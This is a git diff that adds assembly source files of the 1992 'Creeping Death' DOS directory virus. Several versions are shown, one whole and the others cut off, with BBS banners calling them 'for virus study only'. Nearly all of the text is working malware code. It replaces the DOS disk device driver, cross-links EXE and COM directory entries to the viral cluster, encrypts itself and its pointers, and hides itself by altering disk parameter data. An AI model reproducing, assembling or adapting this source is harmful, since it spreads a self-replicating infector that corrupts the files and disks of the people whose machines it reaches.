+;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Install: int 20h + +;*****************************************************************************; +; ; +; An file is opend with this name, but the file will not be found. ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz install + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename + jmp short Exec + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h + mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,9 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + mov al,ds:[si+5] + add al,11 + mov ds:[si+5],al + cbw + mov dx,offset Main-1 + sub dx,ax + mov ds:[si+1],dx + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,9 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + +bpb_buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 30 dup(?) +f_name: db 80 dup(?) ; Buffer for the filename used + ; by the exec-function + + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/Cdset5.asm b/c/Cdset5.asm new file mode 100755 index 0000000..57aa91b --- /dev/null +++ b/c/Cdset5.asm @@ -0,0 +1,661 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] CoSysOp: Northstar Ken [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;*****************************************************************************; +; ; +; Creeping Death V (Encrypting, try to find it) ; +; (Version 4 bug Fixed) : +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 5ch + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +BPB_Buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 + mov cx,400h-11 +Repeat: xor byte ptr [si],0 + inc si + loop Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es + jmp short Exec + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,12 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + inc byte ptr ds:[si+8] + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,12 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Signature db 'CREEPING DEATH 3' ; Signature + +Header db 7 dup(?) ; this is the header for the + ; device driver + +f_name: db ? ; Buffer for the filename used + ; by the exec-function + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] CoSysOp: Northstar Ken [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/Cdset6.asm b/c/Cdset6.asm new file mode 100755 index 0000000..5ee0718 --- /dev/null +++ b/c/Cdset6.asm @@ -0,0 +1,631 @@ +;*****************************************************************************; +; ; +; Creeping Death III (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code, ss:code + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + + org 5ch ; use the space reserved for + ; the fcbs and command line + ; for more inportant data, + ; because we won't need this + ; data when the virus is + ; installed + +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +BPB_Buf db 32 dup(?) ; buffer for BPB + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + + org 100h ; com-file starts at offset 100 + ; hex + +;*****************************************************************************; 